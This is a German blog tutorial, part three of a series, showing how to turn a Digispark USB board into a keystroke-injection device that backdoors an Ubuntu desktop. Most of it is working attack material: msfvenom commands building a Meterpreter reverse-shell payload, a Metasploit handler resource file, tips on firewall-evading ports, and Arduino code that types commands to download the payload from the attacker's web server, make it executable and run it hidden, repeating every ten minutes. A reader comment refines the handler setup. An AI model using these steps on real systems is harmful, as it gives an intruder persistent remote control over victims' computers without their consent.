Digispark – die USB Rubber Ducky Alternative (Teil3)

Im ersten Teil des Tutorials wurde beschrieben, wie eine Entwicklungsumgebung für den Digispark unter Window eingerichtet werden kann. Im darauf folgenden Artikel habe ich gezeigt, dass der Digispark einen USB Rubber Ducky ersetzen kann. Auch wenn die Platine viel kleiner ist und längst nicht die Möglichkeiten des Ducky hat, konnten wir den „15 Sekunden Passwort Hack“ mit ihr umsetzen.

Die Platine lässt sich auch für Penetrationstests unter Linux einsetzen, wie das folgende Beispiel zeigen wird. Folgendes Szenario wäre denkbar:

Auf einem Linux System wird Ubuntu mit grafische Oberfläche eingesetzt. Sobald die Platine in eine freie USB-Schnittstelle gesteckt wird, beginnt der PC einen Schadcode vom Angreifer herunterzuladen. Dieser wird auf dem Linux-System ausgeführt damit eine permanente (reverse) Verbindung zum Angreifer hergestellt. Da dieser Verbindung aus verschiedenen Gründen schon mal unterbrochen werden kann, ist eine Schleife eingebaut, die diese Verbindung nach einer vorgegebenen Zeitspanne neu einrichtet. Man hat quasi eine Hintertür (Backdoor) im Linux-System geschaffen, die immer erneuert wird. Egal ob der Angreifer sich im lokalen Netzwerk oder im Internet befindet – er hat immer eine permanente Meterpreter-Verbindung und kann mit den Rechten des angemeldeten Nutzers weitere Befehle ausführen (Post-Exploitation).

Der Angreifer nutzt Kali Linux in der aktuellen Version, das Metasploit-Framework und Apache als Webserver. Auf dem Linux-System wird Ubuntu 16.04 LTS und Unity eigesetzt. Dieses Szenario lässt sich auch mit wenigen Änderungen auf einem Linux-Server einsetzen.

Angreifer einrichten

Im ersten Schritt richten wir Kali Linux ein. Postgresql, Apache2 und das Metasploit-Framework sollten standartmäßig installiert aber noch nicht gestartet sein.

Nun starten wir die notwendigen Dienste:

service postgresql start
service apache2 start

									

Als nächstes muss der Payload erstellt, und auf dem Webserver abgelegt werden. Wir erstellen mit Hilfe vom msfvenom die Datei shell.elf und legen sie auf dem Pfad des Webservers ab:

msfvenom  --platform linux  -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.180 LPORT=1337 -f elf > shell.elf
cp shell.elf  /var/www/html

									

Für die Variablen LHOST und LPORT setzt man jeweils die IP-Adresse des eigenen Systems bzw. den gewünschten Port ein.

Hinweis:
Soll der Payload später auch Firewalls überwinden, so setzt man hier üblicherweise Ports ein, die in den Firewallregeln von innen nach außen auch geöffnet sein könnten. Hier bieten sich z.B. die Ports 53, 443, 80 bzw. 22 an.

Nun müssen wir noch das Angriffssystem herrichten, um die eingehenden Verbindungen vom Linux-PC empfangen und verarbeitet zu können. Um dies zu automatisieren, nutzt man in Metasploit sogenannte Ressource-Dateien. Die in unserem Beispiel erstellte Datei shell.rc enthält Befehle die nach dem Start von Metasploit automatisch ausgeführt werden.

Inhalt shell.rc

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.0.180
set LPORT 1337
set ExitOnSession false
exploit –j
									

Auch hier passt man die Variablen LHOST und LPORT der eigenen Umgebung an. Das so eingerichtete System starten wir nun mit folgendem Befehl:

msfconsole –r shell.rc
									

Digispark einrichten

Nachdem das Angriffssystem nun angepasst ist und auf eingehende Verbindungen „lauert“, beschäftigen wir uns mit dem Quellcode für den Digispark.

Das vollständige Skript könnte folgendermaßen aussehen:

[code]
#include “DigiKeyboard.h”

void setup()
{
pinMode(1, OUTPUT); //LED on Model A
}

void loop()

{
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_T, MOD_CONTROL_LEFT | MOD_ALT_LEFT); // start Terminal
DigiKeyboard.delay(5000);
// DigiKeyboard.println(“gsettings set org.gnome.desktop.session idle-delay 0”); //set screensaver off
DigiKeyboard.println(“gsettings set org.gnome.desktop.session idle/delaz 0”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
// DigiKeyboard.println(“wget -N -q http://192.168.0.180/shell.elf”); // download trojan
DigiKeyboard.println(“wget /N /q http>&&192.168.0.180&shell.elf”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
// DigiKeyboard.println(“chmod +x shell.elf”); // set execute permissions
DigiKeyboard.println(“chmod ]x shell.elf”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
// DigiKeyboard.println(“nohup ./shell.elf &”); // run trojan
DigiKeyboard.println(“nohup .&shell.elf ^”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT); // close window
DigiKeyboard.delay(1000);
digitalWrite(1, HIGH); //turn on led when program finishes
DigiKeyboard.delay(2000);
digitalWrite(1, LOW);
// run again after 10 min (600000), 30 min (1800000), 60 min (3600000)
DigiKeyboard.delay(600000);
}
[/code]

Die mit „//“ auskommentierten Zeilen 15, 19, 23, 27 zeigen jeweils die printnl-Befehle, wie sie für eine US-Tastatur lauten müssten. Die jeweils angepassten Kommandos für eine deutsche Tastatur sind jeweils dahinter aufgelistet. Leider mussten wir diesen Trick bereits im letzten Tutorial anwenden.

Hier noch einige Erläuterungen zu wichtigen Befehlen:

Zeile 13: hier wird das Linux-Terminal mit dem Befehl STRG-ALT-T aufgerufen.

Zeile 16: normalerweise schaltet Unity nach wenigen Minuten den Screensaver ein und dunkelt den Bildschirm ab. Dies soll hier verhindert werden.

Zeile 20: der Payload wird vom Webserver des Angreifers heruntergeladen. (-N herunterlanden nur wenn Datei noch nicht vorhanden oder neuer ist, -q nichts weiter ausgeben).

Zeile 24: ausführbare Datei erstellen

Zeile 28: Datei im Hintergrund ausführen damit Fenster geschlossen werden kann

Zeile 31: Fenster schließen

Zeile 33: LED einschalten wenn Datei vollständig ausgeführt wurde

Zeile 37: 10 Minuten pausieren bis Vorgang wiederholt wird, hier Zeit anpassen!

Der Angriff

Setzt man den Digispark auf dem Linux-System ein, so wird eine Meterpreter-Verbindung zum Angreifer geöffnet. Dies wiederholt sich im eingestellten Zeitraum.

Das folgende Video zeigt alle notwendigen Schritte:

1 Gedanke zu „Digispark – die USB Rubber Ducky Alternative (Teil3)“

  1. Danke für den hochinteressanten Beitrag. Kleiner Verbesserungsvorschlag: Den handler für Meterpreter in diesem Fall mit ExitOnSession=True laufen lassen. Wird der Payload erneut gestartet (10 Minuten Loop) stirbt der Prozess direkt wieder, weil er den handler nicht erreicht – es würden dafür keine redundanten TCP Verbindungen aufgebaut und nicht mehrere Prozesse mit gleichem Namen auf dem Opfersystem laufen. Geht dem Angreifer eine bereits bestehende Meterpreter Session verloren, kann der Handler in MSF einfach manuell neu gestartet und der nächste Verbindungsaufbau abgewartet werden.

    Antworten

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.

Diese Seite verwendet Cookies, um die Nutzerfreundlichkeit zu verbessern. Mit der weiteren Verwendung stimmst du dem zu.

Datenschutzerklärung